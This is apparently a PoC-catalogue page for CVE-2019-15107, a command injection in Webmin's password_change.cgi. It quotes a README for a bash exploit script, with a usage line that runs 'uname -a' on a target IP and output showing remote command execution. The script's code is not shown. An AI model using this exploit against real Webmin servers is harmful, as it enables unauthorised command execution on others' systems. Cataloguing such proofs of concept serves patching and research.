CVE-2019-15107 PoC — Webmin 命令操作系统命令注入漏洞

Source

https://github.com/diegojuan/CVE-2019-15107

Associated Vulnerability

Title:Webmin 命令操作系统命令注入漏洞 (CVE-2019-15107)
Description:An issue was discovered in Webmin <=1.920. The parameter old in password_change.cgi contains a command injection vulnerability.

Readme

# CVE-2019-15107

This repo contains a small script in bash to exploit CVE-2019-15107 without using metasploit.
Use is pretty straightforward, just download and execute, no dependencies

```
root@kali:~# ./webmin-CVE-2019-15107.sh 10.10.73.185 'uname -a'
<h1>Error - Perl execution failed</h1>
<p>Your password has expired, and a new one must be chosen.Linux source 4.15.0-108-generic #109-Ubuntu SMP Fri Jun 19 11:33:10 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
</p>
root@kali:~#```

File Snapshot


 [4.0K]  /data/pocs/65d4461c15861a2ee738947503251580804df983
├── [ 34K]  LICENSE
├── [ 482]  README.md
└── [ 178]  webmin-CVE-2019-15107.sh

0 directories, 3 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!